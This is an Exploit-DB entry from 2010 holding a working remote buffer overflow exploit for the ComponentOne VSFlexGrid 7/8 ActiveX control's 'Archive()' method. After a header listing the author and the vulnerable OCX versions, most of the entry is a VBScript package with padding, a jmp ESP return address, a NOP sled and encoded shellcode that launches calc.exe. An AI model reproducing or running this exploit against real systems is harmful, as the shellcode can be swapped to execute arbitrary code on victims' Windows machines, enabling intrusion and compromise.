Exploit-DB #12673
Description: ComponentOne VSFlexGrid 7/8 - 'Archive()' method Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-05-20
Author: Ma3sTr0-Dz

Exploit:
# Tilte: ComponentOne VSFlexGrid v. 7 & 8 "Archive()" method Remote Buffer Overflow Exploit

# Date....................: [19-05-2010]
# Author..................: [Ma3sTr0-Dz]
# Location ...............: [Algeria]
# Software ...............: [ComponentOne VSFlexGrid v. 7 & 8] 
# Impact..................: [Remote]
# Tested On ..............: [Windows sp2 & sp3]
# Site Software ..........: [http://www.componentone.com]
# Sptnx ..................: [CmOs_Clr & Ra3ch & Sec4ever Memberz.]
# Home : .................: [Www.Sec4ever.Com]
# Contact me : ...........: [o5m@hotmail.de]

# Vulnerability: Remote Buffer Overflow Exploit
 

# Part ExplOit & Bug Codes :

---

'This ActiveX is marked as:
'RegKey Safe for Script: False
'RegKey Safe for Init: False
'Implements IObjectSafety: True
'IDisp Safe: Safe for untrusted: caller, data
'IPStorage Safe: Safe for untrusted: caller, data
'KillBitSet: False

'This is the list of all vulnerable components:
'vsflex7L.ocx	v. 7.0.1.151
'vsflex8.ocx	v. 8.0.20072.239
'vsflex8d.ocx	v. 8.0.20072.239
'vsflex8l.ocx	v. 8.0.20072.239
'vsflex8n.ocx	v. 8.0.20072.239

<package>
 <job id='vsflex8l' debug='false' error='true'>
  <object classid='clsid:C945E31A-102E-4A0D-8854-D599D7AED5FA' id='vsFlexGrid'/>
   <script language='vbscript'>
    buff      = String(268, "A")

    get_EIP   = unescape("%81%69%A8%7C") 'jmp ESP from shell32.dll

    nop       = String(12, unescape("%90"))

    'execute calc.exe

    shellcode = shellcode + unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49")
    shellcode = shellcode + unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
    shellcode = shellcode + unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34")
    shellcode = shellcode + unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
    shellcode = shellcode + unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54")
    shellcode = shellcode + unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37")
    shellcode = shellcode + unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48")
    shellcode = shellcode + unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38")
    shellcode = shellcode + unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c")
    shellcode = shellcode + unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e")
    shellcode = shellcode + unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48")
    shellcode = shellcode + unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54")
    shellcode = shellcode + unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38")
    shellcode = shellcode + unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43")
    shellcode = shellcode + unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37")
    shellcode = shellcode + unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a")
    shellcode = shellcode + unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b")
    shellcode = shellcode + unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33")
    shellcode = shellcode + unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57")
    shellcode = shellcode + unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49")
    shellcode = shellcode + unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36")
    shellcode = shellcode + unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

    egg       = buff + get_EIP + nop + shellcode + nop

    vsFlexGrid.Archive egg, "something", 1
   </script>
  </job>
</package>

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